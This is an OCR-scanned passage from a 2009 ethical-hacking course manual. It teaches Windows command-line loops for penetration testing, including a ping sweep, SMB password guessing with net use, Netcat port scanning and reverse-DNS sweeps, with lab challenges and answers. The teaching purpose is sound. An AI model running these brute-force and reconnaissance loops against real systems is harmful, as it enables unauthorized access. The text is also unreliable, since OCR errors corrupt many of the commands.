- Prepend command with © to turn off echoing of command 
C:\> for ¡L %i in (1,1,255) do @echo %i & @ping -n 5 

127.0.0.1 

Networl en Testing & Ethical Hacking )OÇ), Ail Rigi 

Sometimes, we don't want a ioop to go as fast as possible. We want to pause it for N 
seconds before proceeding to the next cycle. We can do this by having our do clause run 
multiple commands, separated by an &, with one of the commands pinging locaihost 

(127.0.0.1) N+1 times. Because ping sends one ping immediately, followed by one ping per 
second, this will result in an N second delay. 

C:\> for IL %i in (1,1,255) do echo %i & ping n 5 

127 .0.0.1 

Note that [commandi] & [comrnand2] will run command i followed by command2. 
Alternatively, we could do [cornmandl] && [cornrnand2]. With the &&, command2 

will only be executed if commandi ran successfully. Otherwise command 2 will be 
ignored. 

While that's nice, its output is horribly ugly. Note that it is cluttered with several things. 
First, there are the echo and ping commands themselves, displayed at each iteration through 

the loop. We can turn off this echoing of the commands by prepending each command with 

an , as follows: 

C:\> for /L %i in (1,1,255) do @echo %i & @ping n 5 
127 .0.0.1 

That looks a little better, but we still have more to clean up in the output. 
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To finish cleaning up our output, we can redirect unwanted standard output to nul, a file
descriptor that will just drop anything sent to it. Thus, we can get rid of that ugly ping output
and have our 4-second delayed counter with:

C:\> for /L %i jfl (1,1,255) do @echo %i & @ping -n 5
127.0.0.1 > nul

Sometimes, unwanted cruit that is displayed on the screen doesn't come from Standard Output
of a command, but instead comes from Standard Error. We can get access to Standard Error
using a file descriptor handle of 2, which is synonymous with Standard Error, taking a
command and directing its output to nul. So, if there were an error thrown by the command,
we could do this to throw the error away:

[command] 2>nul

If we want to save the error messages, but not have them clutter our output, we can append
them to a file with:

[command] 2>>errorfile.txt

And now for one of the most useful aspects of all output filtering. We often want to screen our
output to only display lines with a given string in them, possibly indicating that success
occurred or some other situation. We can pipe the output of our command through the find
command looking for a specific string, indicated within "", as in find "[string] ".

To make output a little prettier, sometimes you may want to include a blank line, which can be

done with the "echo." command, with no space between the echo and the dot. To make a
beep sound, you can enter "echo CTRL-G", which is displayed on the screen as "echo "G".

171

Handlìng Output
We often want some output to be thrown away
- Redirect ¡t to nul: > nul

C:\> for IL %i in (1,1,255) do @echo 96i & @ping -n
5 127.0.0.1 > nul

We often want standard error to go away:
- Redirect ¡t to nul:

[command] 2>nul

- Or, to save error messages, append them to a file:
[command] 2»errorfile.txt

We often want to select output lines with a given string in
them
- Pipe output through find "[string]"

To print a blank line
C: \> echo. (no space between echo and .)

To make a beep
C: \> echo CTRL-G (Will show on screen as echo "G)
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A More Practical Example: 
FOR /L Ping Sweep 

Let's do a ping sweep of network range 10.10.10.1-255 

Run a ping of a machine we know is there and one that isn't 
there, so we can see how to differentiate our responses for 

the find string 
Then, we could use: 
C:\> for IL %i in (1,1,255) do @ping -n i 1O.iO.iO.%i 

find "Reply" 

We just made a ping sweeper 
We could use one FOR loop with variable %i with an 

embedded FOR loop with %j to iterate through third octet 
and fourth octet c(\WIrDDW5\s 2\ 

:\> for /L zi in <I,i25) do @ping -n i i@i@i@.zi find. 
'Hep1' * 

ep1 Fron 1.i@.1@.i@: h3tes=32 tine<1n, TTL-64 
epi3 Fron iM.iø.1ø.2@: hyteo32 tino<ims ITL=64 
epl3 Fron iM.iM.1L5@: b9tes2 tine<ins TTL=64 
epii Fron i@.1.iI.6O: h3tes=32 tine<ins TTL64 

Let' s do a more practical example for penetration testers and ethical hackers. Suppose 
you've gained command shell access to one system on a DMZ via an exploit. Your Rules of 

Engagement allow you to scan for other targets, but they do not let you install any software 

on the machine you've just conquered. You can do a ping sweep with a FOR IL loop. To 

see how to construct such a loop, it is helpful to run the command we want to embed in the 
loop in the lab against one target and see what defining string in its output interests us, so we 
can look for that string with the find command. 1f we ping a target machine successfully, 

our output will include the word "Reply". If the ping doesn't get a response, the output will 

not include "Reply". Thus, we can perform a ping sweep with this command: 

C:\> for IL %i in (1,1,255) do @ping n 1 1O.iO.iO.%i I 

find "Reply" 

This command will create a counting loop (FOR /L) with a variable of %i, starting at 1, 

counting by 1, going up through 255. At each iteration of the command, it will run a ping 
without displaying the command (@), sending i (-n 1) ICMP echo request message to 
10.10.1 0.%i, and scraping the results through find looking for the word "Reply" because 

that indicates that a machine has responded to our ping. 

Admittedly, this isn't the fastest ping sweeper in the world, checking one address per 
second. However, it's made from entirely built-in tools in the Windows command line, and 

is easy to type quickly and understand. If you want it to print the current address it is 
checking, you could add "@echo 10 

. 

10 
. 

10 
. 

%i &" before the @ping. 
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Flexibility: FOR IF loops

Instead of iterating over integers, sometimes
we need something more flexible
FOR ¡F loops let us iterate over other things:

C:\> for ¡F ["options"] %i in ([stuff])
do [command]
- It's the [stuff] that makes things interesting:

Can be the contents of a file set: for ¡F
[Iloptionsu] 6j in (file-set) do [command]
Can be a string: for IF [IIoptions] 6j in
(stringu) do [command]
Can be a command: for ¡F ["options"] %i in
('command') do [command]
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While iterating over a set of integers by stepping through them is certainly useful,
sometimes we need more flexibility. Wouldn't it be nice if we had a FOR loop that could
iterate over the contents of a file, the words in a string, or the output of a command?
Windows supports another kind of FOR loop with just those capabilities: FOR IF. The
syntax of this command is:

C:\> for ¡F ["options"] %i in ([stuff]) do [command]

We'll get to the options in a minute, but let's focus on the stuff that we'll iterate through.
FOR IF gives us the ability to go through a file-set's contents by simply specifying a file-set
as our stuff. We could have one line per file, with something interesting, like usernames or
passwords, and then perform a command using each line in the file as the value of a
variable.

Or, we could jump through a string, with each word in the string being a value we iterate
through our loop. To specify a string as your stuff, surround it in double quotes, as in
"string".

The most powerful option for our stuff, though, is to make it a command. FOR /F will then
iterate on the output of that command. To make your stuff a command, you'd put single
quotes around the command, as in 'command'. We can then scrape through the output of our
command and run another command in our do clause on each line or item in the first
command's output.
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FOR /F Loop Options 

The options let us parse through the file, string, or command output 
For this class, we won't use the options, because we'll either create files 

in the format we want, or use files already in that format 

- No special parsing necessary 

- Default parsing on space and carriage return is just fine for us now 
Still, for completeness, the options include: 

eol=[c]: Sets the end of line character 

- skip=[n]: Skip these lines from the output 
delims=[xxx]: Specifies a delimiter set (default delimiters are spaces and 

tabs) 

- tokens=[x,y,m-n]: Specifies which element of the output will be passed to 
the do part for iteration; can be a list or range... if multiple values set, 

variables beyond %i are automatically allocated 

- usebackq: For the command, use instead of' 
Wow... that's kinda ugly... Yeah, but it's powerful 

Now, let's look at the not-small point ofthe "options" available in a FOR IF loop. These options, 
which must be surrounded by double quotation marks, let us specify how we are going to parse the 
output ofthe file set, string, or command output ofthe in clause. For this class, we won't be parsing 

files, because we'll either create them ourselves in the format we want, or use files that already have 
the format we desire. Still, for completeness, we do need to discuss the formatting options of FOR IF 

loop s. 

We could specify a custom end of line character with the syntax "eol=[cj". By default, the end of line 
is just a standard Windows end of line carriage return (hex OxOdOa). 

With the syntax "skip=[n]", we jump forward in the sequence n lines into a file. This lets us jump 
past some header information or other cruft, focusing on the n+1(th) line. 

The delims syntax is very helpful if our file, string, or command output has a specific set of delimiters 
that break its output up into pieces that we are interested in. By default, the delims that are observed 
are space and tab. If we have comma- and semicolon-delimited output, we would say, "delims=,;". 

The tokens syntax also gets interesting, because they help us parse our output into useful fields. If we 
have multiple different items per line in the output that we are interested in, and to which we want 

different variables assigned, we define tokens. The output will be tokenized according to the 
numbers we put in this options declaration. For example, if we know there are two items on every 

line of output, we'd define "tokens=[1,2]". The first value in each line will be assigned to our 
variable (such as %i). Then, because there is a second token, another variable will be automatically 

allocated, one letter higher than the first (%j, for example). We can even do ranges of tokens, such as 
"tokens="2-4", which will skip the first item in each line of output, and assign the second, third, and 

fourth items to %i, %j, and %k. 

And, finally, remember how our command in the in clause starts and ends with a single quote'? But, 
if you need a single quote inside of your command itself, you can specific "usebackq" in your option, 

which lets you use a' to set off your command. The on most systems is an unshifted tilde key. 

Now, this may look hideously ugly. That's because it is. However, it is powerful. Again, for this 
class, we will not need to parse files because we'll use files already in the format we need. Thus, we 
won't use these options for this class. 
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Password Guessing
with FOR/F

Suppose we know a user name for an account on a target
Windows machine
We have a wordlist with potential passwords, like John's
password .1st

Suppose also that we don't care about account lockout, so
we'd like to perform password guessing
We can use a FOR ¡F loop to perform password guessing
via SMB with:
C:\> for If 9j in (password.lst) do @echo %i & @net
use \\[target_IP_addr] 961 /u:[UserNarne] 2>nul &&
pause

- Instead of pause, we could append our results to a file
with: && echo UserNane: %i » success.txt

These FOR /F loops can be quite helpful for penetration testers. Consider this scenario. Suppose we
have a user name for an account on a target machine. We also have a wordlist file that includes one
potential password per line of the file. The John the Ripper password.lst file will suit us fine.
Suppose also that we don't care about account lockout. Perhaps the target machine isn't configured
to lockout accounts, or the account is in the administrator's group, so we are less concerned about
lockout. We'll discuss account lockout on Windows and Linux/Unix machines in more detail in
560.4.

We can use a FOR /F loop to automate password guessing against the target machine with this
command:

C:\> for If %i in (password.lst) do @echo 6i & @net use

\\[target_IP_addr] 61 /u:[UserNaine] 2>nul && pause

This command starts a FOR /F loop, using %i as its iterator variable. It will work its way through the
password.lst file (in the current directory), taking each line from the file and using it as a value for %i.
At each step through the loop, we have the command print out its password guess without displaying
the echo command (@echo %i). We then (&) have it try to make an SMB connection with the
target machine, using the password guess from the file and the username we supply (@net use
\ \ [target I Paddr I % i ¡U: [UserName I). We direct the numerous error messages from
the net use failures to nul. Only if the net use command succeeds (&&), we will pause the
FOR loop, prompting the user to hit enter to continue. That will stop our progress when we
successfully guess the password. Alternatively, we could have written our results to a file with the
syntax&& echo UserName: %i » success.txt.
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Converting Commands into 
Scri its 

This ¡s not a scripting class 

Still, as a penetration tester or ethical hacker, 
sometimes you'll need to bundle a series of 
commands into a script 

On Windows, you can put any of the 
commands we've covered here into a .bat file 

to create a script 
- Use echo Il line] » to build script line by line 

- Simply convert any variables in FOR loops from 
%[var] intO %%[var] 

This is not a scripting class. That said, however, as a penetration tester or ethical hacker, 
sometimes you will want to bundle a series of commands together to execute them as a 

bundle. That bundle is a script. You can take any grouping of the commands we've 
covered so far and put them in a Windows bat file (with a .bat suffix) to create a script. You 

could use the echo command to build a script line by line by running the following 
command several times, varying the line] each time you run it: 

C:\> echo [line] » file.bat 

Each of the commands we've covered will work as is in a batch file, with one exception. 

The FOR loop variables must be changed from %[var] to %%[var] to make it work in a 
batch file. Place two percentage signs in front of each variable name For example, a 

counter from one to one hundred at the command line would be: 

C:\> for IL %i in (1,1,100) do @echo %i 

To use this command in a script, you'd run: 

for /L %%i jfl (1,1,100) do @echo 66i 
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Course Roadmap

Plan ning and Scq
Scan fling

ExLIoit lion
Password Attac
Wireless Attacks
Web App Attacks

Why Exploitation?
Exploit Categories
Metasploit

Exercise: bind tcp
The Meterpreter
Exercise: Meterpreter

Non-Metasploit Exploits
Command Shell vs.
Terminal Access

- Exercise: The
Dilemma Illustrated

» Bypassing Dilemma
Exercise: Relays for
Term Access

Moving Files with Exploits
Pilfering from Target Machines
Windows Command Line
Kung Fu for Pen Testers

Exercise: Challenaes
Making Win Run Commands

Exercise: sc and wmic

Now, let's apply our Windows command-line kung fu, with a series of challenges
specifically crafted for penetration testers and ethical hackers. Each hands-on challenge
in this exercise is designed to give you experience with solving problems commonly
faced by penetration testers, creating solutions that will be highly useful in scanning and
exploiting a target environment. Specifically, in creating the answers to these
challenges, you'll be:

Activating the Windows telnet service

Creating a reverse-DNS lookup command that iterates through a target address space

Making a port scanner out of Netcat and the Windows command-line

Devising a more flexible password guesser for SMB than what we've covered so far

With the exception of #3, all of these techniques use tools built-in to any modern Windows
machine. Challenge #3 relies on Netcat, which is not built-in but can be immensely
helpful, as we have seen throughout this session.
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Exercise: Windows Command- 
Line Challenoes 

For this exercise, we'll have 4 challenges 

- Each illustrates a useful technique for penetration 
testing and ethical hacking 

Each challenge will ask you to perform a 
series of actions against either your local 

machine or a remote target system 
To perform these actions, you can feel free to 

review the preceding pages for command 
syntax and ideas 

The answers follow.., feel free to peek ahead 
if ou need to 

Drk Pen Testing & Ethical I {acking ©20( AI] Rig Reserved 78 

Now, let's perform an exercise, putting our Windows command-line skills to work on a 
series of challenges. There are four challenges in total, cach of which asks you to perform 

some action that is common in penetration testing and ethical hacking. Each challenge is to 
be performed exclusively at the command line on your own Windows machine, without 

relying on GUI tools. Some of the challenges will have you interact with your own local 
system, while others will have you composing commands to make your system access target 

machines across the network. 

To perform these challenges, feel free to flip back to some of the Windows command line 
features we've talked about recently. You can review their usage and syntax and apply that 

information to solving these challenges. 

Also, answers to the challenges are provided on the pages following the challenges 
themselves. These answers represent one way to do each challenge; you may come up with 

other ways as well. While working on the challenges, you can feel free to peek ahead and 
look at the answers if you need help or inspiration. 
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Windows Command-Line
Challenge i

In XP, telnet server is already installed. In Vista, go to Control
Panel - Programs and Features-Turn Windows features on or off, and
check Telnet Server
- Or, use the Vista command: C: \> pkgmgr /iu: "TelnetServer"

Use the sc command to enable the telnet service on your Windows
machine
- You may have to change its start type to demand before you can start the

service

At the command line, check to see if the group TelnetClients exists
- If it does not, create it, again at the command line

At the command line, create a user called fred, and set a password for
this user of whatever you'd like
At the command line, add fred to the TelnetClients group
Try to telnet from Linux to Windows as fred
You may need to disable your Windows firewall

For this challenge, let's experiment with services, specifically the Windows telnet service. On XP
Pro, the telnet service is already installed. 1f you are on Vista, which does not have a telnet service
installed by default, add the Telnet service by going to Control Panel-*Programs and Features-Turn
Windows features on or off, and check Telnet Server. Or, install the Telnet Service on Vista at the
command prompt by simply running:

C:\> pkgmgr /iu:"TelnetServer"

Then, start the challenge by using the sc command to enable the telnet service on your machine. If
you don't know the service name to use for the telnet service with sc, check the name using either
the se command itself or the services control panel (services.msc) properties for the service.

C:\> sc \\[hostnaine] query state= all more

Once you've got its name, use se to try to start the telnet service.

1f the telnet service has a start_type of DISABLED, you should change its startup type to demand
before starting the service.

Once the telnet service is running, check to see if you have a group called TelnetClients. If you do
not, create it, using the command line.

Then, at the command line, create a user account with a logon name of fred, and a password of your
choosing. Remember this password!

At the command line, add fred to the TelnetClients group.

Then, try to telnet to your Windows machine from Linux:

$ telnet [WindowslPaddr]

When it prompts you to send your existing credentials, type "n" and hit enter. Then, logon with the
fred userlD and password you just created. You may need to disable your Windows personal
firewall to make the connection.

179

Network Pen Testing & Ethical Hacking ©2009, All Rights Reserved 11

PDF compression, OCR, web optimization using a watermarked evaluation copy of CVISION PDFCompressor

http://www.cvisiontech.com


Once you've successfully used telnet to connect to your machine, it's time to clean up. We 
need to undo each of the actions we performed to set up this challenge. Cleaning up is part 

of the challenge too, because professional penetration testers or ethical hackers must clean 

up the changes they make to a target machine. Make sure you perform each of the 
following steps at the command line. 

Start by exiting your telnet session logged in as user fred. 

Remove fred from the TelnetClients group. 

Then, delete user fred. 

If you created the TelnetClients group to do this exercise, remove the group. If your 
machine already had a TelnetClients group on it, leave that group on the machine, keeping 

its original state. 

Then, stop the telnet service. 

Finally, change the telnet service startup type to disabled, and re-enable the Windows 
firewall if you did shut it off And, if you are running Windows Vista, remove telnet server in 
Control Panel-)Programs and Features-*Turn Windows features on or off. Or, at the Vista 

command line, you can uninstall the Telnet Server by simply running: 

C:\> pkgiugr /uu:"TelnetServer" 
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Windows Command-Line 
Challenge 1: Cleaning Up 

E: E 

:..:E:1UUUI5ìì: !. :::. .ESEE 
:E. 

. 
.. 

E:EE :E: :; ..::. .: E.E E:: 

Clean up from this part of the exercise by: 

- Exiting your telnet session 

- Removing user fred from TelnetClients group 

- Deleting user fred 

- Deleting the TelnetClients group, if you did create 
one for this challenge 
If t was already there, just leave it 

- Stop the telnet service 

- Change the telnet service startup type to disabled 

- Re-enable firewall if you shut it off 

- On Vista, remove telnet server in Control 
Panel-)Programs and Features 

i esting & Ethical Hacking 
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Windows Command-Line
Challenge 2

Challenge:
- Write a FOR loop that will do a reverse DNS lookup of

each IP address in the range 1O.1O.1O.1-1O.1O.1O.255
- Hint: nslookup [IPaddr] performs a reverse lookup
- Your output should include each IP address tried, as well

as the name of those that successfully resolve
- You might see some ugly stuff

on Standard Error... make it PTR 100.0.?

go away with 2>nul
- Who needs zone transfers? -u

PTR 10.10.10.2?

10.10.10.3?

DNS
Server

For this challenge, you need to compose a single Windows command that consists of a FOR
loop that will perform a reverse DNS lookup of each IP address in the address range of
10.10.10.1-10.10.10.255. Your output should include each IP address that your command
tries, and the name of the target machine for which the DNS server has a record. Use the
DNS server for this class, 10.10.10.60, for name resolution.

As a hint, recall that the command nslookup [IPaddr] will perform a DNS reverse
lookup using the DNS server the machine is configured for. Don't worry about how pretty
your output looks when you first start composing the command; you can make it look
prettier and fancier later, after you get the basic loop functionality working.

With a command like this, even without a zone transfer, you can get a feel for which
addresses are in use, based on the fact that they have a reverse record in DNS.
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Windows Command-Line 
Challenge 3: Port Scan 

We can use Netcat as a port scanner 
C:\> nc.exe -n -v-v -w3 [targetlP] [startport-eudport] 

But, that only 
scans ports in 

(reverse) order 

- The r option 
will randomize 

it within range 
Tryit 

- Scan TCP ports 
1 through 90 

on target 
10.10.10.50 

C:\WINDOWSy _ID 

For Challenge number 3, we are going to do port scanning from the Windows command line 
with Netcat. 

Netcat itself can perform port scanning, if we invoke it as follows: 

C:\> nc.exe -n -v-v -WEN] [targetlP] [startport-endport] 

The -n tells Netcat not to resolve names in DNS. The -vv tells it to be very verbose, 
printing information on Standard Error when it can make a connection on a port, as well as a 

different message when it cannot make a connection. The -w3 tells it to wait no more than 
3 seconds on any port, moving on if a port is open after a short pause, and giving up on 

closed ports after the timeout expires. We then give it a target machine's IP address, and a 
port range. 

Netcat will try to connect to each port, in reverse order, starting at the endport and working 
its way through the startport, printing out whether the connection is refused (a closed port) 

or allowed (an open port). The -r option in Netcat will make it attempt connections to ports 
in the target range in random order, but penetration testers seldom use that option. 

Try a portscan using Netcat (installed as nc.exe from the netcat.zip file on the DVD in 
c:\tools on your own system). Scan TCP ports i through 90 (actually, going in reverse 

order) on target 10.10.10.50 using this syntax: 

C:\> c:\tools\nc..exe -n -v-v -w3 10.10.10.50 1-90 

182 

'C\too1s>nc.exe n vy w3 10.10.10.50 1-90 
(UNKNOWN) [10.10.10.50] 90 (?): connection refused 
(UNKNOWN) [10.10.10.50] 89 (v): connection refused 
(UNKNOWN) L10.l0.l0.5@] 88 (?): connection refused 
(UNKNOWN) [10.110.50] 0? (?): connection refused 
(UNKNOWN) [110.10.58] 86 (?) connection refused 
(UH1CNOWN) [10.10.10.50] 85 (?): connection refused 
(UH1<NOWN) [10.10.10.50] 84 (?): connection refused 
(UN1(NOWN) [10.10.10.50] 83 (?): connection refused 
(UNKNOWN) [10.10.10.50] 82 (?): connection refused 
(UNKNOWN) [10.10.10.50] 81 (?): connection refused 
(UNKNOWN) [10.10.10.50] 80 (?) open 

JIet tineout 
(UNKNOWN) [10.10.10.50] 79 (?): connection refused 
(UNKNOWN) [10.10.10.50] 78 (?): connection refused 
(UNKNOWN) [10.10.10.501 77 (?): connection refused 
(UNKNOWN) [10.10.10.50] 76 Ç?): connection refused 

£:\tools) 

All Rights Reser Ethical Hacking 
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Windows Command-Line
Challenge 3: Port Scan (2)

Nice... but we want more flexibility and less ports
Challenge:
- Write a Windows command line that will port scan

10.10.10.50 using Netcat, but only check ports:
TCP 21, 22, 23, 25, 53, 80, 135, 443, 6000

- Hint: Use a FOR ¡F loop to iterate, invoking Netcat to
try to connect to one port at a time

- Hint: Create a file called ports.txt with one port per line

And so on...

Hacking - ©2009, All Rights Reserved 183

While that Netcat command for port scanning is useful, it does have some limitations. First off, it
scans port ranges, and isn't really useful for testing a handful of disjoint ports, like we often want
to do as penetration testers. Suppose you only want to check a dozen or so ports spread out
across a range. While you could use a dozen different Netcat commands, each trying one port,
that's a lot of work.

The challenge for you is to write a single Windows command that will conduct a port scan of
10.10.10.50 using Netcat to check only a certain set of ports. We want to check TCP ports 21
(FTP), 22 (SSH), 23 (telnet), 25 (SMTP), 53 (DNS), 80 (HTTP), 135 (NetBIOS), 443 (HTTPS),
and 6000 (X Window System).

As a hint, use a FOR /F loop to iterate through the different ports, invoking Netcat to connect to
one port at each iteration through the loop. A single Netcat command, for example, to connect to
a single port, would he:

C:\> c:\tools\nc.exe n vv w3 [targetlP] [porti

For another hint, iterate through a file called ports.txt, which you can create with one port per line
using the echo command to append to the file as follows:

C:\> echo 21 » ports.txt

C:\> echo 22 » ports.txt

C:\> echo 23 » ports.txt

.and so on for the rest of the ports
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C:\> echo 21 » ports.txt
C:\> echo 22 » ports.txt
C:\> echo 23 » ports.txt
C:\> echo 25 » ports.txt
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Windows Command-Line 
Challenge 4 

First, for user falken on 10.10.10.10, perform password 
guessing from the entries in the John password.Ist file 

- Use the command we covered for password guessing with a 
FOR ¡F loop, updated for this target, pausing on success 

Secondly, using echo »1 create two files, user.txt and 

pass .txt 

- One should contain 5 usernames, with one per line 
The other should contain 5 passwords, again one per line 

- user.txt: - pass.txt 

Network Pen Testi ithical I lack All Rights Rcserv 1 184 

For the next challenge, start by running the password guessing FOR ¡F loop against target 
10.10.10.10, with a userlD of falken. Use the password.lst file from John the Ripper, which 

is located on the course DVD (you'll have to unzip it), placing it in the directory your FOR 
¡F loop runs from (or specify the full path to it in your FOR ¡F command). Run your FOR 
¡F loop so that it will pause when it successfully gets falken's password. 

You may notice your command pausing when it reaches the password.lst entry for * The 

net use command, when given a password of *, prompts the user for the password on the 

next line, making your script stop. Just hit Enter to make your command resume. 

When your command is successful (with a password of 'joshua" for falken), it should 
display the password, followed by a prompt to "Press any key to continue. 

. 

.". Just hit 
CTRL-C when this occurs. 

Once you've accomplished that, the next part of the challenge involves altering the FOR /F 
loop so that it will guess usernames and passwords. Start this element by creating two files 

on your local system, called user.txt and pass.txt, relying on the echo » command. In 

user.txt, place five usemames, with one per line: ted, susan, falken, joe, george. In the 
pass.txt file, place five potential passwords that we'd like to try for each of these users: 

password, joshua, stuff, hello, world. 
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ted password 

susan joshua 
falken stuff 

joe hello 

george world 
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Challenge 4 (2): UseriD and
Password Guessing

Now, create a new command that will iterate through
users from file user.txt trying each password in pass.txt
for each user against 10.10.10.10
Append your successful results to a file called success.txt,
in case your command is successful multiple times
Hint: use a FOR ¡F loop for passwords, embedded in a
FOR ¡F loop for users
- You'll need two different variables for them, like %i and %j

Hint: if you are successful, you should drop the SMB
connection with: net use \\i.O.1O.1O.1O /del
When it is done, review success.txt to see if it worked

thica1 f lacking - All Rights Rese cd 185

Now for the challenging part. Create a single command that will iterate through users from
the user.txt file, trying each password from the pass.txt file for each user, aiming your attack
against 10.10.10.10. Make sure your command displays each username:password
combination that it tries as it is running. Upon success, your coniinand should append the
successful username and password to a file called success.txt.

As a hint, you may want to consider embedding a FOR /F loop inside of another FOR ¡F
loop. The outside ioop can iterate through usernames, while the inside loop iterates through
passwords. For two loops in the same command, you will need to use two different variable
names, like %i and %j.

For another hint, remember that Windows doesn't like making an SMB connection with a
target machine as one user when it already has a session as another user. Thus, when your
command is successful, it should drop the SMB connection before it moves on to the next
user:password attempt. You can drop these sessions with the syntax net use
\\1O.1O.1O.1O /del in your command.

When your command is finished running, review the success.txt file to see if it worked.
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The Answers Follow 

Don't turn the page, unless you 
want to see the answers 

It's ok to look at the answers if you 
are having trouble or need 

inspiration 
Your answers may differ from 

the ones that follow.., that's ok 
-As long as they function properly 

rk Pen Testing & Ethical lIacki 2(X)9, All Righis Reserved 

The next slides contain answers to the challenges. Note that you may develop different 

answers that still work. In fact, your answers may even be better or more elegant. What 

matters here is that your answers function properly, not that they match exactly what we've 
set forth here. 

While working on the challenges, you can feel free to peek ahead, but please do try to solve 

each of the challenges on your own before looking ahead. The challenges with the answers 
that follow are kind of like a crossword puzzle with the answers at the back of the book. 

Try to solve the puzzle yourself first, but if you get stuck or need some help to move 
forward, feel free to peek ahead. 

If you can't get the answer yourself, though, please do review each element of the solutions 
that follow to make sure you understand them in detail. 
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Windows Command-Line
Answer to Challenge i

C:\W1NDOWS\systeth3\cindt%

C:'.>sc \\ngconputer conf ig t1ntsvi start= demand
[SCI ChangeServiceConfig SUCCESS

:\>sc \\ngcomputei start t1ntsui

ERUICE NAME: tintsor
TYPE
STATE

(11H32_EX IT_CODE
SERU I CE_EX IT_CODE
CHECI{POI NT
WAIT_HINT
PI D

The specified local group does not exist -

FLAGS

I

f:>net localgi-oup TelnetClients
'II.. i 1 L i f_il.. J

tDLJ

IR W1H32_OWH_PROCESS
2 START_PENDING

<NOT_STOPPABLENOT_PAUSAIILE, IGNORES_SHUT
R (RxR)
H (Hx@)

@x?ci@
1444
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Here are answers to the first of our challenges, associated with interacting with the
TelnetClients group and telnet service.

To change the startup type of the telnet service to demand, we could use this command:

C:\> sc \\[hostna.me] conf 1g tlntsvr start= demand

Be careful with that start= demand part. It must be "start equals space demand." There
must be no space between the start and the equals.

Then, to start the service, we could run:

C:\> Sc \\[hostname] Start tlntsvr

Next, let's check to see if the TelnctClicnts group exists:

C:\> net locaigroup TelnetCilents

On the machine used to create the exercise, this group did not exist, so we created it as
follows:

C:\> net locaigroup TelnetCilents /add
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Windows Command-Line 
Answer to Challenge 1 (2 

32\cmd.exe 

:\>net usel' fred p1sswordi2 /add 

:\>net locaigroup Te1netC1ient fred /add 

ina Taks EeIp 

Connected to 10.10.76.2. 

Escape character is 

We,corne to Microsoft Tetnet Service 

togin: fred 
password 

Wetcome to Microsoft Tetnet Server, 

C:\Docunents and Settings\f red> 

# tethet 10.10.76.2 

N work Pen 'lesring & 2Ot)). Al] J hts Reserved 188 

Next, we continue our first challenge by creating an account with a logon name of fred and a 
password of your choosing, as follows: 

C:\> net user fred [password] /add 

We then add fred to the TelnetClients group: 

C:\> net localgroup TelnetClients fred /add 

And then, from Linux, we telnet to our Windows IP address: 

# telnet [YourWinlPaddr] 

If the connection is blocked by the Windows firewall, you can disable it with: 

C:\> netsh firewall set opmode disable 

When you telnet in, type in a login name of fred and a password you used for your fred 

account. 

When the telnet connection is made, run commands, such as the following: 

C:\> hostname 

C:\> set username 
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* C \WIOWS\ystem32\cmd eeI

Windows Command-Line Answer
to Challenge i (Cleanup)

I k:\>net localgroup TelnetClients feed /del
( trh connand completed successfully.

fC:\>net user Fred /del
fhe command completed successfully. j

ILÖ'. J flidi! uròc1ytt.eç,u!!rtuou!.,tòo

To clean up after Challenge 1, perform the following steps:

Remove fred from the TelnetClients group:

C:\> net localgroup TelnetClients fred /del

Delete user fred:

C:\> net user fred /del

Remove the TelnetClients group, if it wasn't there at the start of the exercise:

C:\> net locaigroup TelnetClients /del

Stop the telnet service:

C:\> sc \\[hostname] stop tlntsvr

Change the telnet service's startup type to disabled:

C:\> Sc \\[hostname] conf ig tlntsvr start= disabled

And, finally, re-enable the Windows firewall (if you turned it off for the exercise):

C:\> netsh firewall set opmode enable

189

H U T DO UN)

C:\>net localyroup TelnetClients /del
-'Ihe command conpleted successfully

C:\>sc \\nycomputer stop tlntsui

'SEIIUICE_NAME: tintsur
TYPE
STATE

111N32_EKIT_CODE
SEHUICE_EKIT_CODE
CHECKPOINT
UÛIT HINT

: 1H U1N32_OWNPHOCESS
: 3 STOP PENDING

(S T OPPA BLE PAUSA BLEA CC]
: H
: H (HxH)
: HxH

C:\>sc \\myconpute config tintsyr start disabled
j
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@.itLl@.2: 

@.lO.1M.4: 

ace: trinity 
4.iO.jlLii: 

iI.iI?J.l5: tl.iLi.i6: 
.i1.1I.l8: 
ILii.iO.19: 

ace: neo 

U.1Li@.22: 
L iN. IN 

. 
23 

@.IN.I@.24: 
N. iN 

. 
iN. 25 

@.IN.1@.26: 

Windows Command-Line 
Answer to Challenge 2 

:\> for /L zi in (ii255) do trislookup 1N.1@.IN.zi 2>nul 
find "Name" && echo iilø.zi 

O.I.IN.iN 
ame neo iiO.2N 

ame: morpheus 
N. IN 

. 
10. 50 

ame: oracle 

:\) TR 1010.10.1? 

10.10.10.3 

DNS 
Server 

ucai i i1Ii ¿uuv, i-ui 
. 

ghts Reserved 

:',> for /L zi in (1.1,255) do Pecho 10.1 1N.zi: & @nslooku 
10.i@.1H.zi 2>nul I find "Name" 

190 

Here is one potential answer to Challenge 2. Note that you may have come up with another 

way of doing it. If so, that's fine, so long as your answer works. The command that we 
formulated is as follows: 

C:\> for IL %i in (1,1,255) do @echo 1O.1O.1O.%i: & @nslookup 
1O.1O.1O.%i 2>nul find "Name" 

This command starts a FOR IL counting loop at 1, counts by 1, and proceeds through 255, 

using %i as the variable. At each iteration through the loop, it echoes the IP address that it 

is trying followed by a colon, without displaying the echo command (@echo 10.10.10.%i:). 

Then, it performs a reverse lookup of each TP address using nslookup, again without 
displaying the nslookup command (@nslookup T 0.10.1 0.%i). If nslookup can't find a 

name, it displays a message of"*** [server] can't find.. ." We want to get rid of that 
Standard Error, so we redirect it to nul (2>nul). We search the output of the nslookup 

command with the find command, looking for the string "Name" because successfully 
searched names will include this string. 

We could go a little further, cleaning up our command even more relying on the difference 

in behavior of& and && as command separators. If we only wanted to display the IP 

address when we successfully resolve a name, we could run: 

C:\> for IL %i. in (1,1,255) do @nslookup 1O.1O.1O.%i. 2>nul 

f md "Naine" && echo 1O.1O.1O.%i 

Now, the IP address will only be displayed if nslookup succeeds in finding a name with its 

reverse lookup. It's a little more complicated, but has a lot cleaner output. 
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Windows Command-Line
Answer to Challenge 3

C:\WINDDWS\syst

21 » ports.txt
L.\tUUletIìO ¿z jj
C:\too1s>echo 23

ÌC:\tools>echo 25
:\too1s>ecIìo 53

C'too1s>echo 8
:\too1s>echo 135 » poi-ts.txt

F:\tools>echo 443 » poi-ts.txt
6II@t » poi-ts.txt

IC:\tools>

)

2D readp. dude (uFTPd i.1.: heat ne. break ne>
et tirmeout
ent @, i-cud 51: NOTSOCJI

(UNKNOWN) [IU.IU.IU.5II] 22 (?) open
511-1 .99OpenSSH_3 .4pI
et tineout
cnt 11. i-cud 23: NOTSOCK

(UNKNOWN) [111.1 1U.5I 23 (?> open
et tineout
